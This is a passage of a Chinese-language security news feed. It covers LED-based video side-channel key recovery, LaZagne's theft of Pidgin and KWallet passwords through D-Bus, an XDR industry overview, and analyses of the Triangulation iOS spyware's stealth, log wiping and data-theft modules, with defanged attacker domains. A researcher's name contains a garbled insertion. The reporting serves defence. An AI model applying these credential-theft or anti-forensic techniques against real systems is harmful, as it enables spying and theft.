這兩種攻擊都有局限性，使得它們在許多現實場景中不可行。儘管如此，已發表的研究還是具有開創性的，因為它提供了一種全新的方式來促進側信道攻擊。不僅如此，新方法還消除了阻礙現有方法利用側信道的最大障礙，即需要示波器、電探針或其他物體等儀器接觸或靠近被攻擊的設備。

在Minerva的示例中，為了讓研究人員收集足夠精確的測量數據，智能卡讀卡器的主機必須被攻破。相比之下，Hertzbleed並不依賴於受攻擊的設備，而是花了18天的時間與易受攻擊的設備進行持續交互，以恢復私鑰。要攻擊許多其他側信道，例如第二次世界大戰加密電傳終端中的側信道，攻擊者必須在目標設備上或附近安裝專用且通常昂貴的儀器。

近期發布的基於視頻的攻擊減少或完全消除了此類要求，要想竊取存儲在智能卡上的私鑰，只需要在距離目標讀卡器20米遠的地方安裝一個聯網的監控攝像頭。三星Galaxy手機的側信道攻擊可以通過已經在同一個房間裡的iPhone 13攝像頭來執行。

本文的亮點就是你不需要連接探測器、連接示波器或使用軟件定義的無線電。該方法沒有攻擊性，你可以使用智能手機等普通或流行的設備來實施攻擊。對於連接互聯網的攝像機來說，你甚至不需要接近物理場景就可以實施攻擊，這是軟件定義的無線電或連接探針或類似物無法做到的。

與傳統的側信道攻擊相比，該技術還有另一個好處：精確性和準確性。 Minerva和Hertzbleed等攻擊通過網絡洩露信息，這會引入延遲並增加噪聲，而這些噪聲必須通過從大量操作中收集數據來補償。這一限制導致Minerva攻擊需要目標設備被破壞，而Hertzbleed攻擊需要18天時間。

使用捲簾快門(rolling shutter)令許多人驚訝的是，一台記錄電源LED的標準攝像機提供了一種數據收集方式，對於測量通過側信道洩漏的信息來說，這種方式要高效得多。當CPU執行不同的加密操作時，目標設備消耗不同的電量。這些變化會導致設備或連接到設備的外圍設備的電源LED的亮度變化，有時還會導致顏色變化。

為了足夠詳細地捕捉LED的變化，研究人員啟動了新型相機中可用的捲簾快門。捲簾快門是一種圖像捕捉形式，在某種程度上類似於延時攝影。它以垂直、水平或旋轉的方式逐行快速記錄幀。傳統上，相機只能以其幀速率拍攝照片或視頻，幀速率最高可達每秒60至120幀。

11.png

該說明了捲簾快門捕捉旋轉光盤背後的原理

激活捲簾快門可以提高采樣率，每秒收集大約60,000個測量值。研究人員在設備執行加密操作時，將當前打開或連接在設備上的電源LED完全填充到一個框架中，利用捲簾快門，使攻擊者有可能收集到足夠的細節來推斷存儲在智能卡、手機或其他設備上的密鑰。

這是可能的，因為設備的電源LED的強度/亮度與其功耗相關，因為在許多設備中，電源LED直接連接到電路的電源線，缺乏有效的手段(例如，濾波器，電壓穩定器)來解耦相關性。

研究人員實證分析了視頻攝像機的靈敏度，並表明它們可以用於進行密碼分析，原因有兩個，一是設備的電源LED的視頻片段的單個RGB通道的有限8位分辨率(256值的離散空間)足以檢測由加密計算引起的設備功耗差異，二是攝像機的捲簾快門可以利用視頻片段中電源LED的強度/亮度的採樣率提高到執行密碼分析所需的水平，即將視頻片段中電源LED的強度/亮度的測量次數(採樣率)增加三個數量級，從FPS速率(每秒提供60-120次測量)到捲簾快門速率(在iPhone 13 Pro Max中每秒提供6萬次測量)，通過縮放目標設備電源LED上的攝像機，使LED的視圖填充整個視頻片段。這樣，可以使用攝像機作為專業專用傳感器的遠程攻擊替代品，這些傳感器通常用於密碼分析（例如，示波器、軟件定義的無線電）。

視頻1和視頻2分別顯示了智能卡讀卡器和三星Galaxy手機在執行加密操作時的視頻捕獲過程。用肉眼看，這段視頻看起來沒什麼特別的。

但是，通過分析綠色通道中不同RGB值的視頻幀，攻擊者可以識別加密操作的起止進程。

一些限制條件研究中假設的威脅模型是，目標設備正在創建數字簽名或在設備上執行類似的加密操作。該設備具有標准開/關類型1或指示電源類型2電源LED，其保持恆定顏色或響應觸發的加密操作時改變顏色。如果設備沒有1型或2型電源LED，則必須連接到有此功能的外圍設備。這些電源LED的亮度或顏色必須與設備的功耗相關。

攻擊者是一個惡意實體，可以在加密操作發生時持續錄製設備或外圍設備(如USB揚聲器)的電源LED。在智能卡讀卡器的示例中，攻擊者首先通過攻擊距離讀卡器電源LED近20米遠的監控攝像頭來獲取視頻。攝像頭被劫持的前提是，攻擊者必須能夠控制攝像頭的縮放和旋轉。考慮到許多聯網攝像機被研究人員、現實世界的殭屍網絡運營商和其他攻擊者主動攻擊的示例，目前假設條件並不是一個特別高的要求。

當攝像頭在近20米遠的地方時，房間的燈必須關閉，但如果監控攝像頭在大約2米遠的位置時，則可以打開燈。攻擊者也可以用iPhone記錄智能卡讀卡器的電源LED。視頻必須持續運行65分鐘，在此期間，閱讀器必須不斷地執行操作。

對於三星Galaxy，攻擊者必須能夠在相當近的距離內記錄USB連接揚聲器的電源LED，同時手機執行SIKE簽名操作。

攻擊假設存在一個現有的側信道，該信道在執行加密操作時洩露設備的功耗、時間或其他物理表現。插入讀卡器的智能卡使用了一個代碼庫，該代碼庫尚未針對Minerva攻擊進行修補。三星Galaxy使用的一個庫仍然容易受到Hertzbleed.的攻擊，很可能在未來發現的一些側通道也會允許此類攻擊。

威脅模型極大地限制了當前攻擊的工作場景，因此攻擊不太可能針對軍事基地或其他高安全設置中使用的讀卡器。

這是因為讀卡器本身很可能是修復過的，即使沒有被修復，在這些環境中發給員工的智能卡也會每隔幾年輪換一次，以確保它們包含最新的安全更新。即使讀卡器和智能卡都容易受到攻擊，讀卡器也必須在整整65分鐘內持續處理卡，這在安全檢查中的標準刷卡過程中是不可能實現的。

但並非所有設置都受到如此嚴格的限制。這六種智能卡讀卡器都可以在亞馬遜上買到，並且與美國軍方使用的通用門禁卡(稱為cac)兼容。其中四個閱讀器的廣告上寫著“國防部”、“軍隊”或兩者兼而有之。軍方或政府人員在遠程登錄非機密網絡時使用這種讀卡器均屬正常。

一般來說，只要你的操作系統支持特定的製造商和型號，訪問國防部資源需滿足兩個條件即可，1.為操作系統安裝了當前的根和國防部CA，以信任你的智能卡證書和你連接的網站/服務的證書，2.有問題的資源可以從公共互聯網直接訪問而不是先連接內部VPN。公司、州或地方政府以及其他組織則沒有那麼多限制。

三星Galaxy攻擊的另一個限制是，在發現一種使用複雜數學和一台傳統PC來恢復保護加密交易的密鑰攻擊後，SIKE算法被進行了限制。

對於此假設攻擊，三星進行了回复：

我們可以確認，研究人員在Galaxy S8上開發的假設攻擊已於2022年向我們報告，經過審查，並被視為低風險，因為我們的設備上沒有使用特定的算法。消費者隱私至關重要，我們將對所有設備保持最高標準的安全協議。

研究人員丹尼爾马云惹不起马云格魯斯(Daniel Gruss)說，儘管這種攻擊目前還處於理論層面，但研究結果絕對是有趣和重要的，特別是在發現了Hertzbleed和Platypus的類似攻擊之後。與Platypus、Hertzbleed等相關攻擊越來越多，關鍵是電源側信道攻擊可以洩露的信息非常多。隨著基於遠程軟件的攻擊或本文提出的基於視頻錄製/空氣間隙的攻擊，攻擊成功率提高了很多。另外，許多研究人員都觀察到，隨著新技術和漏洞的發現，攻擊只會隨著時間的推移而變得更易實現。從硬件發展角度來講，現在某些限制的因素，比如攝像機，未來隨著設備快速發展，幾年後本文講的理論上的攻擊可能會增加攻擊範圍或縮短攻擊所需的時間。

研究人員還對當今基於視頻的密碼分析的真正潛力表示擔憂。在本文所說的研究中，他們專注於常用和流行的攝像機，以演示基於視頻的密碼分析，即一個RGB通道的8位空間、全高清分辨率和支持的最大快門速度。然而，新版本的智能手機已經支持10位分辨率的視頻片段，例如，iPhone 14 Pro MAX和三星Galaxy S23 Ultra。此外，分辨率為12-14位的專業攝像機已經存在，2樣的攝像機可能提供更高的靈敏度，這可能使攻擊者能夠通過電源LED的強度來檢測設備功耗的非常細微的變化。此外，許多互聯網與現有研究中使用的攝像機(25倍)相比，具有更大光學變焦能力的聯網安全攝像機(30倍至36倍)已經存在，並且可能已經廣泛部署。這種安全攝像機可能允許攻擊者從比本文所演示的更遠的距離對目標設備進行基於視頻的密碼分析。最後，新的專業攝像機目前支持1/180,000的快門速度(例如，富士膠片X-H2.3)，使用這種攝像機可能允許攻擊者以更高的採樣率獲得測量結果，這可能會使其他設備面臨基於視頻的密碼分析的風險。

研究人員給製造商推薦了幾種對策，以增強設備抵禦基於視頻的密碼分析。其中最主要的是通過集成一個起“低通濾波器”的電容器來避免使用指示電源LED。另一種選擇是在電源線和電源LED之間集成一個運算放大器。

目前尚不清楚受影響設備的製造商是否或何時會添加此類防範措施。目前，建議那些不確定自己的設備是否存在漏洞的人應該考慮在電源LED上貼上不透明的膠帶。

HireHackking

微信截图_20230827220556.png

攻擊者已經增加了對Linux系統的目標攻擊，並且像LaZagne(一種流行的開源密碼恢復工具)這樣的hacktool實用程序的易於訪問性使得攻擊者在惡意軟件攻擊鏈中使用它來轉儲密碼變得越來越方便。該工具對Linux用戶構成了重大風險，因為它針對的是Pidgin等流行聊天軟件，使用D-Bus API提取包括密碼在內的敏感信息。 D-BUS是一個提供簡單的應用程序互相通訊的途徑的自由軟件項目，它是做為freedesktoporg項目的一部分來開發的。

本文會介紹LaZagne如何利用Pidgin D-Bus API來獲取這些信息，以及為什麼密切關注D-Bus API是一種明智的安全舉措。另外，我們還將介紹具體示例，研究攻擊者如何在特定的惡意軟件活動中使用LaZagne。 pidgin是一個可以在Windows、Linux、BSD和Unixes下運行的多協議即時通訊客戶端，可以讓你用你所有的即時通訊賬戶中一次登錄。

支持eBPF的Linux的Advanced WildFire成功地檢測到D-Bus API相關的活動。 Palo Alto Networks的客戶可以通過YARA和行為規則來檢測與LaZagne攻擊相關的可疑活動。

D-Bus簡介Desktop-Bus，通常稱為D-Bus，是基於*nix的系統中的一種進程間通信(IPC)機制，它允許應用程序和服務相互有效地通信。 D-Bus使用客戶機-服務器體系結構，其中dbus-daemon應用程序充當服務器，應用程序充當客戶機。

D-Bus廣泛應用於NetworkManager, PulseAudio, systemd和Evolution等流行軟件中，它可以實現各種系統組件和應用程序之間的無縫通信。例如，Evolution電子郵件客戶端使用D-Bus與Evolution數據服務器等其他組件進行通信。該數據服務器處理存儲和管理電子郵件帳戶、聯繫人和日曆等任務。

Linux系統上的D-Bus API促進了應用程序和服務之間的通信，這可能會洩露敏感數據。因此，如果不對API進行監控，它們可能會帶來風險。 LaZagne hacktool利用Pidgin D-Bus API來轉儲憑證。 HackTool/SMBRelay是一個利用139端口截獲用戶機密信息，以獲取服務器訪問權限的木馬程序。

LaZagne如何竊取Pidgin文憑LaZagne連接到Pidgin客戶端的D-Bus API，並在應用程序運行時獲取帳戶憑證，包括用戶名和密碼。

1.png

LaZagne獲取帳戶憑證

下圖中的代碼顯示了LaZagne hacktool如何與Pidgin D-Bus API連接以檢索憑證。

2.png

LaZagne利用D-Bus獲取密碼

接下來我們會對上圖中高亮顯示的代碼進行詳細介紹：

1.get_password_from_dbus方法在Pidgin類中定義，它繼承自ModuleInfo類；

2.使用dbus.bus.BusConnection(session)為每個會話創建D-Bus連接。對於在紫色對像上調用的每個方法(作為Pidgin D-Bus API的實例創建)，dbus-python庫內部處理D-Bus消息的創建、發送和接收；

3.PurpleAccountGetUsername(_acc)， PurpleAccountGetPassword(_acc)和PurpleAccountGetProtocolName(_acc)方法用於與Pidgin應用程序交互。它們分別從Pidgin D-Bus API獲取每個帳戶的用戶名、密碼和協議名；

4.然後將提取的信息作為字典存儲在名為pwd_found的列表中。

一些可用於類似進程的低級libdbus庫API（如下圖所示）包括：

1.dbus_message_new_method_call ()，為方法調用創建一個新的D-Bus消息；

2.dbus_message_append_args ()，將參數附加到D-Bus消息；

3.dbus_connection_send_with_reply_and_block ()，

發送消息並等待回复；

4.dbus_message_get_args ()，從回复消息中提取參數。

3.png

LaZagne的Pidgin類的低級實現

LaZagne允許攻擊者轉儲除Pidgin之外的其他帳戶的憑證。它還可以通過D-Bus API轉儲KDE錢包(KWallet)密碼。 KWallet是Linux上KDE桌面環境使用的安全密碼管理系統，這些密碼是保存在KWallet系統中的個人密碼，其中可以包括網站密碼、電子郵件帳戶密碼、Wi-Fi網絡密碼或用戶選擇存儲的任何其他憑證。

攻擊者利用這些D-Bus API獲取敏感數據，各種公開來源記錄了在過去幾年中使用LaZagne的攻擊組織的案例。

惡意軟件活動中的LaZagneLaZagne在多個操作系統上的可用性使其成為攻擊者的一個有吸引力的工具。

2019年，疑似由伊朗贊助的攻擊組織Agent Serpens(又名Charming Kitten或APT35)利用LaZagne進行了一系列攻擊，從基於windows的系統中獲取登錄憑證。

2020年，Unit 42研究人員追踪到的活動集群為CL-CRI-0025(被其他公司追踪為UNC1945或LightBasin的攻擊者)，使用包含各種工具（包括LaZagne）的自定義快速仿真器（QEMU）Linux虛擬機從意大利和其他歐洲地區獲取證書。

據報導，自2020年以來，我們追踪的攻擊者Prying Libra(又名Gold Dupont，導致RansomEXX勒索軟件攻擊的幕後黑手)使用LaZagne從目標主機提取憑證。

早在2021年7月，Adept Libra(又名TeamTNT)就利用LaZagne作為其Chimaera活動的一部分，從各種操作系統中竊取密碼，包括基於雲環境的Linux發行版。該活動至少持續到2021年12月，當時Adept Libra使用LaZagne從Kubernetes環境中的WordPress網站竊取密碼。

下表總結了黑客工具在各種惡意軟件攻擊活動中的使用情況：

4.png

2021年12月攻擊中使用LaZagne的bash腳本示例

5.png

TeamTNT LaZagne腳本(VirusTotal按哈西值計算的結果

複雜的組織在其活動中使用LaZagne突顯了該工具在捕獲密碼和實現進一步利用方面的有效性。

監控D-Bus API由於LaZagne可以利用D-Bus從運行的應用程序中提取敏感數據，我們可以監控D-Bus API調用來檢測此類可疑活動。庫跟踪工具，例如基於Extended Berkeley Packet Filter（eBPF）的工具，有助於公開D-Bus API調用。

下圖說明了使用bpftrace工具針對LaZagne黑客工具活動對D-Bus API的監控（SHA256：d2421efee7a559085550b5575e2301a7c2ed9541b9e861a23e57361c0cdbdbdb）。

Bpftrace是Linux系統的命令行工具，用於動態分析內核和用戶級程序。使用bpftrace工具，我們在dbus_message_get_args() API上設置監控器。我們使用這個API從應答消息中提取參數，該消息在libdbus-1.so.3共享對像庫中定義。

使用的單行bpftrace probe命令如下：

6.png

使用bpftrace監控D-Bus API

上圖顯示了Pidgin用戶名和密碼被LaZagne成功轉儲(在左側終端上)，API調用被記錄在bpftrace輸出中(在右側終端上)。

掛鉤高級D-Bus API並記錄諸如進程標識符(PID)和程序名稱之類的詳細信息可能很有用，因為它們允許我們識別哪個進程正在調用API。

總結密切監控D-Bus API可能是防御者保護應用程序和連接系統免受惡意軟件和黑客工具攻擊的重要途徑。開發人員和網絡安全專業人員必須協作，隨時了解安全風險，並採取必要措施保護應用程序和敏感用戶數據。

隨著雲計算和物聯網的日益普及，強大的安全措施至關重要。支持eBPF的Linux的Advanced WildFire成功地檢測到D-Bus API相關的活動。

HireHackking

如今，眾多攻擊者利用無惡意軟件的間諜技術實施無法檢測到的破壞，依靠合法的系統工具和寄生攻擊（LOTL）技術來滲入端點。無惡意軟件的攻擊有賴於用戶對合法工具的信任，很少生成唯一的特徵碼，並且依賴無文件執行。

在CrowdStrike追踪分析及其《2023年威胁狩猎报告》 闡述的所有惡意活動中，CrowdStrike威脅圖索引的檢測中有71%沒有惡意軟件。總共有14%的入侵事件依賴基於Falcon OverWatch跟踪的活動的遠程監控和管理（RMM）工具，攻擊者增加了使用RMM工具進行無惡意軟件攻擊的數量，同比增長了驚人的312%。

隨著FraudGPT標誌著武器化人工智能新時代開始到來，而企業面臨輸掉人工智能戰爭的風險。人工智能、機器學習和生成式人工智能整合到擴展檢測和響應（XDR）中就需要快速行動起來，以阻止無惡意軟件和人工智能帶來的新攻擊。

XDR提供了CISO們一直所需要的那種整合。

XDR改善了信噪比通過依賴在大規模整合的API和平台，XDR平台充分利用了每個可用的遙測數據源，以便實時檢測和響應潛在的入侵和破壞企圖。事實證明，這些平台能夠有效地減少網絡噪聲，並發現表明潛在入侵或攻擊的信號。

據Cynet 2022年對CISO開展的調查顯示，XDR對CISO們來說是一種有效的整合策略：96%的CISO計劃整合其安全平台，63%的CISO表示XDR是自己的首選解決方案。

幾乎所有接受調查的CISO都表示，整合工作已在他們的路線圖上，高於2021年的61%。 Gartner公司預測，到2027年年底，多達40%的企業將使用XDR來減少現有安全供應商的數量，而如今這個比例還不到5%。

所有XDR領導者都有一個特點，那就是他們的團隊中人工智能和機器學習方面的人才密度很高。領先的XDR平台提供商包括：博通、思科、CrowdStrike、飛塔、微軟、派拓網絡、SentinelOne、Sophos、TEHTRIS、趨勢科技和VMWare。

1.png

圖1. 圖片來源：CrowdStrike博文《XDR是什么？》

做好XDR：從端點入手端點是企圖大規模入侵的攻擊者秘密潛入的首選通道：在62%以上的時間裡，攻擊者使用竊取而來的身份訪問試圖獲取訪問權，並不斷微調間諜技術，以期找到身份和端點安全方面的缺口，這是端點最薄弱的環節。

保險、金融服務和銀行業的CISO告訴外媒，端點是需要保護的威脅面，面臨的挑戰最大。 IT團隊和安全團隊通常不知道自己有多少端點、每個端點在哪裡及其軟件物料清單（SBOM）。清理端點代理散亂問題和實現補丁管理自動化是許多CISO一開始想要實現的目標。

CISO們表示，常常發現端點上安裝過多的代理，以至於從安全的角度來看無法運作，軟件衝突使得端點更容易受到攻擊，因而它們更難遠程管理，可能會削弱性能。

Absolute Software公司的《2023年弹性指数》 使用了其5億個端點設備的匿名遙測數據，以了解其客戶平均擁有多少個端點。結果發現，典型的企業設備安裝了11個安全代理，其中2.5個用於端點管理，2.1個用於反病毒/反惡意軟件，平均1.6個用於加密。 Absolute的設備遙測數據發現，企業設備上平均安裝了67個應用程序，其中10%的設備安裝了100多個應用程序。

端點補丁管理自動化一家製造商的CIO告訴外媒，雖然打補丁的工作一直是重中之重，但自己沒有足夠多的員工來確保所有補丁都是最新版本。 CISO的同事們一致認為，補丁管理只有在緊急情況下才會得到關注，即在遭到入侵或破壞之後。

這個結論與Ivanti公司的《2023年安全准备状况报告》 相一致，Ivanti發現，在61%的時間裡，外部事件、入侵企圖或洩密重新啟動補丁管理工作。

Mukkamala告訴外媒，他預計補丁管理會變得更加自動化，人工智能助理會提供更多的上下文信息和更高的預測準確性。

2.png

圖2. 圖片來源：Ivanti

Ivanti的漏洞風險評級（VRR）評分方法依賴0到10之間的分配分數，該分數表明漏洞對組織或企業的風險。風險越高，VRR就越高。

AI通過自癒合端點增強XDR彈性在零信任環境下做好網絡彈性從端點入手。董事會和向董事會匯報的CISO表示，網絡彈性現在被認為是風險管理的必備條件。 Absolute Software的《2023年弹性指数》 反映了在遵守合規要求才能連接這個趨勢下面臨的挑戰。平衡網絡安全和網絡彈性是目標。

CISO們表示，自癒合端點是穩固的網絡彈性戰略的基石。自癒合端點提供可靠的實時遙測數據流來訓練人工智能和機器學習模型，並夯實XDR平台。與上一代基於約束和規則的解決方案相比，它們還更難以逃避和破壞。基於人工智能和機器學習的端點可以在短短幾毫秒內檢測並應對潛在的攻擊，鑑於機器對機器攻擊迅速增多，這麼快的響應時間對如今的企業來說是基本要求。

領先的自癒合端點供應商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、邁克菲和Microsoft 365。有媒體採訪了每家供應商的客戶，發現Absolute的方法嵌入到超過5億個端點設備的固件中，為SOC團隊提供他們及其XDR平台所需的實時遙測數據方面是最可靠的。

XDR：對抗武器化人工智能的首道防線如果網絡安全行業及其服務的許多組織要保持安全，XDR平台就需要加快步伐，充分發揮人工智能和機器學習技術的全部價值這一挑戰。人工智能戰爭誰也輸不起，攻擊者將身份和端點方面的缺口視為控製網絡和基礎設施的機會。

最令人不安的是，傳統的基於邊界的系統假定對每個身份、端點和連接都有無限的信任，一旦攻擊者闖入了端點，就可以不受限制地訪問任何系統。

做好XDR需要從端點入手。清理代理散亂問題將有助於提高端點可見性和性能，並使用具有學習能力的人工智能和機器學習技術實現補丁管理自動化，而不是等待下一次安全事件發生，這會讓IT團隊避免攻防演習和浪費的時間。

自癒合端點是網絡彈性的基石。夯實這方面是充分利用XDR架構的先決條件，而XDR架構可以發揮其保護組織核心業務功能和客戶的潛力。

HireHackking

APT_Apple_SL_Feat-1200x600.jpg

在之前關於Triangulation的介紹文章中，研究人員討論了TriangleDB的細節，這是這次活動中使用的主要植入程序，使它的C2協議和它可以接收命令。除其他事項外，它還能夠執行其他模塊。另外，這次活動是相當隱蔽的。

本文詳細介紹了該活動是如何進行隱蔽攻擊的。在此過程中，研究人員還將揭示有關此攻擊中使用組件的更多信息。

驗證組件在之前的文章中，研究人員概述了Triangulation活動攻擊鏈：設備接收惡意iMessage附件，啟動一系列漏洞利用，其執行最終導致啟動TriangleDB植入。攻擊鏈可以用下圖來概括:

1.png

除了TriangleDB植入的漏洞和組件外，攻擊鏈還包含兩個“驗證器”階段，即“JavaScript驗證器”和“二進制驗證器”。這些驗證器收集有關受害設備的各種信息，並將其發送到C2服務器。然後，這些信息被用來評估植入TriangleDB的iPhone或iPad是否可以作為研究設備。通過執行這樣的檢查，攻擊者可以確保他們的零日漏洞和植入程序不會被阻止。

JavaScript驗證器在攻擊鏈的開始，受害者會收到帶有零點擊漏洞的不可見iMessage附件。此漏洞的最終目標是在backupabbit[.]com域上默默地打開一個唯一的URL。該URL上託管的HTML頁麵包含NaCl密碼庫的模糊JavaScript代碼，以及加密的有效負載。這個負載是JavaScript驗證器。該驗證程序執行許多不同的檢查，包括不同的算術運算，如Math.log（-1）或Math.sqrt（-1），Media Source API、WebAssembly等組件的可用性。

如上所述，它通過使用WebGL在粉色背景上繪製一個黃色triangle併計算其校驗和來執行一種名為Canvas Fingerprint的指紋技術：

2.png

繪製triangle的代碼

3.png

繪製的triangle

事實上，正是這個triangle，研究人員把整個活動稱為Triangulation活動。

運行驗證器後，它會對所有收集到的信息進行加密，並將其發送到backuplabbit[.]com上的另一個唯一URL，以便接收攻擊鏈的下一階段。

二進制驗證器正如從攻擊鏈圖中看到的，這個驗證器在部署TriangleDB植入程序之前啟動。 JavaScript驗證器是一個腳本，與之相反，這個驗證器是一個Mach-O二進製文件(因此得名binary Validator)。啟動時，它使用AES解密其配置。這個配置是一個plist:

4.png

此列表包含必須由驗證器執行的操作列表(如DeleteLogs、DeleteArtifacts等)。具體地說：

1.從/private/var/mobile/Library/logs /CrashReporter目錄中刪除可能在利用過程中創建的崩潰日誌；

2.在各種數據庫(如ids-pub-id.db或knowledgeec .db)中搜索惡意iMessage附件的痕跡，然後刪除它們。為了能夠做到這一點，驗證器的配置包含40個用於發送惡意imessage的Apple id的MD5哈希值。研究人員成功破解了大部分哈希值，從而獲得了攻擊者控制的蘋果ID電子郵件地址列表:

5.png

3.獲取在設備上運行的進程列表以及網絡接口列表；

4.檢查目標設備是否已越獄。驗證器實現了對各種越獄工具的檢查，如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等；

5.打開個性化廣告跟踪；

6.收集有關受害者的廣泛信息，如用戶名，電話號碼，IMEI和蘋果ID；

7.檢索已安裝應用程序的列表。

有趣的是，驗證器在iOS和macOS系統上都實現了這些操作:

6.png

研究人員還發現，驗證器實現了一個未使用的操作，攻擊者將其稱為PSPDetect。

7.png

這個操作從驗證器的配置中檢索一個文件列表(對於研究人員分析的驗證器配置，這個列表是空的)，檢查它們是否存在於文件系統中，並產生一個找到的文件列表作為輸出。

此操作名稱中的縮寫PSP可能意味著“個人安全產品（personal security product）”，或者更簡單地說，是一種安全解決方案。因此，有可能在macOS設備上啟動此操作，以檢測已安裝的殺毒軟件。

執行完所有這些操作後，驗證器加密並將獲得的數據(進程列表、用戶信息等)發送到C2服務器。作為響應，服務器返回研究人員之前描述過的TriangleDB植入。

在日誌中找到線索“Triangulation活動”背後的攻擊者不僅通過在攻擊鏈中引入兩個驗證者來進行隱形操作。事實上，他們對TriangleDB植入程序的所有操作都非常小心。這可以從研究人員對攻擊者通過該植入程序向受攻擊設備發送的命令的分析中觀察到。

在植入與C2服務器建立通信並發送指令之後，它從C2服務器接收多個CRXShowTables和CRXFetchRecord命令。這些命令與可能顯示攻擊鍊和惡意軟件本身痕蹟的日誌檢索有關。檢索到的一些文件有：

1.崩潰日誌（Crash log）文件(例如/var/mobile/Library/Logs/CrashReporter)；

2.數據庫文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。這些數據庫文件可能包含攻擊者用來發送惡意iMessage的Apple ID。

一旦攻擊者收到這些文件，他們就會把它們從設備上刪除，這樣受害者就無法檢查它們，也無法發現潛在的攻擊跡象。在完成日誌收集和刪除後，攻擊者向植入程序發送多個CRXPollRecords命令，指示它定期從/private/var/tmp目錄中洩漏文件。上傳到C2服務器的文件的名稱應符合下列正則表達式:

8.png

具有這些名稱的文件包含由模塊產生的執行結果。這些模塊通過CRXUpdateRecord和CRXRunRecord命令上傳到受攻擊的設備。

麥克風錄音最侵犯隱私的模塊之一是麥克風錄製模塊，其名稱為“msu3h”，研究人員認為3h代表三小時，默認錄製時間。在執行時，它會解密(使用源自GTA IV哈希的自定義算法)其配置，但只有當電池電量超過10%時，它才會執行進一步的操作。

配置文件本身包含典型的配置數據，例如記錄多長時間和用於加密記錄的AES加密密鑰，但也包含更具攻擊性的參數，例如:

1.suspendOnDeviceInUse:設置當設備屏幕打開時是否應該停止錄製；

2.syslogRelayOverride:設置捕獲系統日誌時是否錄製音頻。

錄音使用Audio Queue API，聲音塊使用Speex編解碼器進行壓縮，然後使用AES進行加密。除了聲音數據，每個錄音都包含診斷信息，它有一個四字節的類型標識符，可以是:

9.png

鑰匙串洩露由於未知的原因，攻擊者決定添加一個額外的鑰匙串洩露模塊，儘管這樣的功能已經存在於TriangleDB中。這個鑰匙串模塊與TriangleDB中的邏輯相同，但主要基於iphone-dataprotection.keychainviewer項目中的代碼。鑰匙串（英文：Keychain）是蘋果公司Mac OS中的密碼管理系統。它在MacOS 8.6中被導入，並且包括在了所有後續的Mac OS版本中，包括Mac OS X。一個鑰匙串可以包含多種類型的數據：密碼（包括網站，FTP服務器，SSH帳戶，網絡共享，無線網絡，群組軟件，加密磁盤鏡像等），私鑰，電子證書和加密筆記等。

SQLite竊取模塊iOS上的許多應用使用SQLite來存儲它們的內部數據。因此，攻擊者實現能夠從各種SQLite數據庫竊取數據的模塊也就不足為奇了。所有這些模塊都具有相同的代碼庫，並且包含要執行的不同SQL查詢。同樣，它們的配置是加密的。當它被解密時，只能找到標準變量，如文件路徑，AES密鑰，查詢字符串等。

這些模塊的代碼相當奇特，例如，攻擊者在fopen()函數周圍實現了一個包裝器，添加了Z標誌(表明創建的文件應該經過aes加密和zlib壓縮)，並與標準w(寫)標誌結合使用，如下圖所示：

10.png

同樣有趣的是，SQLite竊取模塊包含針對不同iOS版本的三個代碼版本：低於8.0、介於8.0和9.0之間、9.0及更高版本。

研究人員找到的每個模塊執行不同的SQL數據庫查詢。例如，有一個模塊處理來自knowledgeec .db數據庫的應用程序使用數據。另一個模塊提取與照片相關的元數據，例如照片中是否有孩子，該人是男是女(見下圖)，以及從媒體文件中自動生成的文本。

11.png

攻擊者對WhatsApp、SMS和Telegram的信息也表現出了興趣，這也不足為奇，因為研究人員也發現了竊取這些數據的模塊。

位置監控模塊這個模塊在一個單獨的線程中運行，並試圖模擬被授權使用配置中指定的位置服務的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS確定位置外，它還使用GSM，通過CoreTelephony框架檢索MCC (MobileCountryCode)， MNC (MobileNetworkCode)， LAC (LocationAreaCode)和CID (CellID)值。

使用gsm相關數據的一個原因是在沒有GPS數據的情況下估計受害者的位置。

12.png

結論Triangulation活動背後的攻擊者非常小心地避免被發現。他們在攻擊鏈中引入了兩個驗證器，以確保漏洞和植入程序不會被傳遞給安全研究人員。此外，麥克風錄音可以調整為在屏幕被使用時停止。位置跟踪器模塊可能不使用標準的GPS功能，如果這是不可用的，而是使用來自GSM網絡的元數據。

攻擊者還表現出對iOS內部的深刻理解，因為他們在攻擊過程中使用了未記錄的私有api。它們還在一些模塊中實現了對8.0之前iOS版本的支持。回想一下，這些模塊在2015年之前被廣泛使用，這表明這些模塊的代碼已經被使用了多長時間。

另外，這次攻擊中使用的一些組件包含的代碼可能表明它們也針對macOS系統，儘管截至發布日期，在macOS設備上沒有遇到Triangulation活動痕跡。

儘管Triangulation活動是在高度隱蔽的情況下執行的，但研究人員仍然能夠提取出完整的攻擊鏈，以及植入程序和插件。如果你想知道研究人員是如何設法繞過攻擊者引入的所有保護措施的，請點擊此文。

HireHackking

APT_Apple_SL_Feat-1200x600.jpg

今年6月，卡巴斯基的研究者就發現有攻擊者利用iMessage來傳播惡意軟件，iOS 15.7以及此前版本均受到影響。研究人員通過mvt-ios（iOS 移動驗證工具包）分析受攻擊的設備之後，發現他們可以通過iMessage發送信息，受害者在接收到信息之後，不需要任何用戶交互，就能觸發系統內漏洞，從而執行任意惡意代碼。研究人員將這個攻擊活動稱為'Triangulation活動'。

加图1.png

Triangulation活動的首次公開報導請看這篇文章，正如研究人員在三角測量行動的第一篇文章中提到的，最初發現的受攻擊設備正是在莫斯科總部工作的卡巴斯基員工。所有這些設備都連接到公司的Wi-Fi網絡，這樣研究人員就可以記錄和檢查網絡流量。在花了一些時間調查Wireshark之後，研究人員最終發現了以下內容：

1.在表現出可疑行為之前，連接到iMessage服務器的設備通常負責接收信息和下載附件；

2.在下載了可能是附件的幾千字節數據後，這些設備建立了與服務器backuprabbit[.]com的連接，在不到一分鐘的時間內與服務器交換數據；

3.接下來，設備連接到以下服務器進行更長的會話：

cloudsponcer[.]com

snoweeanalytics[.]com

topographyupdates[.]com

unlimitedteacup[.]com、

virtuallaughing[.]com

4.設備重啟後，所有可疑活動都停止了；

所有與服務器的通信都是通過HTTPS進行的，所以研究人員無法從流量中恢復任何額外的細節。

設備映像由於所有的設備都觸手可及，研究人員下一步就是檢查它們的內容。不幸的是，研究時可用的取證採集軟件基於checkra1n和類似的漏洞，不適用於運行iOS 15和16的現代處理器。

